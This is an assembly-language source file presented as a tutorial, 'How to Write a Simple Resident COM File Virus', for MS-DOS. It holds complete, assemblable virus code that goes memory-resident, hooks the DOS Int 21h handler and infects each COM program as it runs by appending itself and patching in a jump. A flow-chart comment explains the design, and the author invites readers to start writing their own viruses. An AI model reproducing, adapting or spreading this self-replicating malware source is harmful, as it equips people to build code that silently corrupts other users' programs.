; How to Write a Simple Resident COM File Virus.
; ==============================================
; NiL
;
; This code is a good thing for demo purposes only.  It has several
; shortcomings: No check whether the file size is larger than 65535
; after infection, file's date is not restored, no stealth/mutation
; mechanisms,  files  starting  with instruction JMP (E9h)  are not
; infected etc. Anyway you can figure out how to start writing your 
; own viruses.
;
; 1. Body of virus.
; -----------------
; -> Ú>ÚÄÄ Jump to virus location.
; <- ³ ³   INFECTED PROGRAM.
;    ³ ÀÄ> Calculate virus offset (program size).
;    ³     Is virus already resident?
;    ³ ÚÄÄ   Yes           No
;    ³ ³                   
;    ³ ³   Move virus to memory.
;    ³ ³   Get original Int 21h handler address.
;    ³ ³   Set viruses Int 21h handler address.
;    ³ ÀÄ> Restore original beginning of program.
;    ÀÄÄÄÄ Start program.
;
; 2. Viruses Int 21h handler.
; ---------------------------
; -> 	   Is it execution service?
;    ÚÄÄÄÄ   No            Yes
;    ³                           
;    ³     Open executed file.
;    ³	   Read beginning of file.
;    ³ 	   Is file in EXE format?
;    ³ ÚÄÄ   Yes           No
;    ³ ³	           
;    ³ ³   Is file already infected?
;    ³ ÃÄÄ   Yes	   No
;    ³ ³	           
;    ³ ³   Write virus to end of file.
;    ³ ³   Write "jump to virus location" instruction.
;    ³ ÀÄ> Close file.
; <- ÀÄÄÄ> Jump to original Int 21h handler.
;
;Assemble with TASM COMVIR.ASM
;              TLINK /t COMVIR.OBJ

	 .MODEL  TINY
	 .CODE
	 ORG	 100h

ProgOfs  EQU     100h                  ;COM programs start at CS:0100h
VirOfs   EQU     200h                  ;Location of virus in memory 0000h:0200h
VirSize  EQU	 @End-@Start           ;Size of virus
oVirEnd  EQU     VirOfs+VirSize        ;Offset of end-of-virus in memory
;---------------------------- Body of virus -----------------------------------
@Start:  CALL	 @Next
@Next:	 POP	 SI                    ;Get IP, calculate virus offset
	 SUB	 SI,(OFFSET @Next)-ProgOfs
	 PUSH	 SI                    ;and save it into stack

	 XOR     AX,AX
	 MOV	 ES,AX
	 MOV	 DI,VirOfs
	 CMPSB                         ;Virus already resident?
	 JE	 @Done

	 DEC	 DI
	 DEC	 SI
	 MOV	 CX,(VirSize+1)/2
	 REP	 MOVSW                 ;Move virus to memory (DS:[SI]->0:200h)

	 MOV	 SI,21h*4
	 MOV	 DI,oVirEnd-8          ;Place for original handler address
	 PUSH	 ES
	 POP	 DS
	 MOVSW                         ;Save original Int 21h handler address
	 MOVSW

	 MOV	 AX,2521h              
	 MOV	 DX,(VirOfs+((OFFSET @New21)-ProgOfs))
	 INT	 21h                   ;Set viruses Int 21h handler address

	 PUSH	 CS                    ;Restore segment registers
	 POP	 DS
@Done:   PUSH	 CS
	 POP	 ES
	 POP	 SI                    ;Restore virus offset
	 ADD	 SI,VirSize-4
	 MOV	 DI,ProgOfs
	 PUSH	 DI                    ;Program offset into stack for RETN
	 MOVSW                         ;Restore original beginning of file
	 MOVSB
	 RETN                          ;Jump to program code
;---------------------------- Int 21h handler ---------------------------------
@New21:  CMP	 AX,4B00h              ;Execution service?
	 JNE     @NoExec
 	 PUSH	 AX                    ;Save registers
	 PUSH	 BX
	 PUSH	 CX
	 PUSH	 DX
	 PUSH	 DS

	 MOV	 AX,3D02h
	 INT	 21h                   ;Open executed file
	 XCHG	 BX,AX                 ;Handle of file into BX

	 XOR 	 AX,AX
	 MOV	 DS,AX
	 MOV	 DX,oVirEnd-4
	 MOV	 SI,DX
	 MOV	 CX,3
	 MOV	 AH,3Fh
	 INT	 21h                   ;Read 3 first bytes from file to DS:[DX]

	 CMP	 BYTE PTR DS:[SI],'M'  ;File in EXE format?
	 JE	 @DoNot
	 CMP	 BYTE PTR DS:[SI],0E9h ;File already infected?
	 JE	 @DoNot

	 MOV	 AX,4202h   
	 XOR	 CX,CX
	 CWD                           ;0 into DX
	 INT	 21h                   ;Seek EOF (FileSize into AX)

	 SUB	 AX,3                  ;Calculate entry point
	 MOV	 DS:[oVirEnd],AX       ;and store it to virus
         
	 MOV	 CX,VirSize
	 MOV	 DX,VirOfs
	 MOV	 AH,40h
	 INT	 21h                   ;Write virus to end of file from DS:[DX]

	 MOV	 AX,4200h
	 XOR	 CX,CX
	 CWD                           ;0 into DX
	 INT	 21h                   ;Seek beginning of file

	 MOV	 CX,3
	 MOV	 DX,oVirEnd-1
	 MOV	 AH,40h
	 INT	 21h                   ;Write jump instruction to file

@DoNot:  MOV	 AH,3Eh
	 INT	 21h                   ;Close file

	 POP	 DS                    ;Restore registers
	 POP	 DX
	 POP	 CX
	 POP	 BX
	 POP	 AX
@NoExec: DB	 0EAh                  ;Jump to
;-----------------------------------------------------------------------------
Old21	 DB	 0,0,0,0               ;original Int 21h handler
OldStart DB	 0C3h,00h ,00h         ;Original beginning of program
OurByte	 DB	 0E9h                  ;New beginning of program
@End:	 END	 @Start
